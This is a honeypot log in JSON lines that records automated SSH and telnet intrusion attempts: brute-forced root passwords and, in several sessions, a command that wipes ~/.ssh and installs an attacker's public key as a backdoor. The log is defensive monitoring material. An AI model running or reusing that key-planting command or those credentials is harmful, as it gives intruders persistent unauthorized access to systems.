{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:37:21.034708Z","src_ip":"197.225.146.23","session":"6b63516e8a13","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:37:21.313285Z","src_ip":"197.225.146.23","session":"6b63516e8a13","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:37:21.894732Z","src_ip":"197.225.146.23","session":"6b63516e8a13","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:37:21.897022Z","src_ip":"197.225.146.23","session":"6b63516e8a13","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/root/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:37:22.176240Z","src_ip":"197.225.146.23","session":"6b63516e8a13","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:37:22.179828Z","src_ip":"197.225.146.23","session":"6b63516e8a13","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"197.225.146.23","src_port":52480,"dst_ip":"10.17.0.5","dst_port":22,"session":"2a299cbdeafc","protocol":"ssh","message":"New connection: 197.225.146.23:52480 (10.17.0.5:22) [session: 2a299cbdeafc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:37:22.448811Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:37:22.451948Z","src_ip":"197.225.146.23","session":"2a299cbdeafc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:37:22.727137Z","src_ip":"197.225.146.23","session":"2a299cbdeafc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:37:23.862309Z","src_ip":"197.225.146.23","session":"2a299cbdeafc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:37:25.140940Z","src_ip":"197.225.146.23","session":"2a299cbdeafc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"197.225.146.23","src_port":52482,"dst_ip":"10.17.0.5","dst_port":22,"session":"bd5a8c7f4d9d","protocol":"ssh","message":"New connection: 197.225.146.23:52482 (10.17.0.5:22) [session: bd5a8c7f4d9d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:37:25.420568Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:37:25.426053Z","src_ip":"197.225.146.23","session":"bd5a8c7f4d9d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:37:25.707839Z","src_ip":"197.225.146.23","session":"bd5a8c7f4d9d","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"3245gs5662d34","message":"login attempt [root/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:37:26.866909Z","src_ip":"197.225.146.23","session":"bd5a8c7f4d9d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"8.1","message":"Connection lost after 8.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:37:27.148524Z","src_ip":"197.225.146.23","session":"6b63516e8a13","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:37:27.153325Z","src_ip":"197.225.146.23","session":"bd5a8c7f4d9d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.79.5.11","src_port":40912,"dst_ip":"10.17.0.5","dst_port":22,"session":"0caad053194c","protocol":"ssh","message":"New connection: 45.79.5.11:40912 (10.17.0.5:22) [session: 0caad053194c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:39:45.640557Z"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:39:45.985854Z","src_ip":"45.79.5.11","session":"0caad053194c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"85.217.149.56","src_port":45724,"dst_ip":"159.203.135.109","dst_port":23,"session":"44223836d598","protocol":"telnet","message":"New connection: 85.217.149.56:45724 (159.203.135.109:23) [session: 44223836d598]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:40:22.526327Z"}
{"eventid":"cowrie.login.failed","username":"'GET / HTTP/1.1","password":"Host: bbb.ccc","message":"login attempt ['GET / HTTP/1.1/Host: bbb.ccc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:40:22.530878Z","src_ip":"85.217.149.56","session":"44223836d598","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":0.03307008743286133,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:40:22.559267Z","src_ip":"85.217.149.56","session":"44223836d598","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"79.143.187.216","src_port":45054,"dst_ip":"10.17.0.5","dst_port":22,"session":"80883415331a","protocol":"ssh","message":"New connection: 79.143.187.216:45054 (10.17.0.5:22) [session: 80883415331a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:40:30.066932Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:40:30.071496Z","src_ip":"79.143.187.216","session":"80883415331a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:40:30.167238Z","src_ip":"79.143.187.216","session":"80883415331a","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"zw123456.","message":"login attempt [root/zw123456.] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:40:30.561169Z","src_ip":"79.143.187.216","session":"80883415331a","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:40:30.778318Z","src_ip":"79.143.187.216","session":"80883415331a","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:40:30.781354Z","src_ip":"79.143.187.216","session":"80883415331a","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:40:30.784890Z","src_ip":"79.143.187.216","session":"80883415331a","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:40:30.878147Z","src_ip":"79.143.187.216","session":"80883415331a","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:40:31.094004Z","src_ip":"79.143.187.216","session":"80883415331a","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:40:31.097195Z","src_ip":"79.143.187.216","session":"80883415331a","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/root/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:40:31.191663Z","src_ip":"79.143.187.216","session":"80883415331a","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:40:31.195648Z","src_ip":"79.143.187.216","session":"80883415331a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"79.143.187.216","src_port":45058,"dst_ip":"10.17.0.5","dst_port":22,"session":"660e81718a74","protocol":"ssh","message":"New connection: 79.143.187.216:45058 (10.17.0.5:22) [session: 660e81718a74]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:40:31.290473Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:40:31.295116Z","src_ip":"79.143.187.216","session":"660e81718a74","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:40:31.391496Z","src_ip":"79.143.187.216","session":"660e81718a74","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:40:31.806535Z","src_ip":"79.143.187.216","session":"660e81718a74","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:40:32.905989Z","src_ip":"79.143.187.216","session":"660e81718a74","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"79.143.187.216","src_port":55942,"dst_ip":"10.17.0.5","dst_port":22,"session":"a376239c0108","protocol":"ssh","message":"New connection: 79.143.187.216:55942 (10.17.0.5:22) [session: a376239c0108]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:40:32.986763Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:40:32.990957Z","src_ip":"79.143.187.216","session":"a376239c0108","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:40:33.080925Z","src_ip":"79.143.187.216","session":"a376239c0108","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"3245gs5662d34","message":"login attempt [root/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:40:33.476465Z","src_ip":"79.143.187.216","session":"a376239c0108","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.5","message":"Connection lost after 3.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:40:33.569444Z","src_ip":"79.143.187.216","session":"80883415331a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:40:33.572941Z","src_ip":"79.143.187.216","session":"a376239c0108","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.121.5.132","src_port":50306,"dst_ip":"10.17.0.5","dst_port":22,"session":"58d4238ad600","protocol":"ssh","message":"New connection: 213.121.5.132:50306 (10.17.0.5:22) [session: 58d4238ad600]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:41:44.636855Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:41:44.641071Z","src_ip":"213.121.5.132","session":"58d4238ad600","protocol":"ssh"}
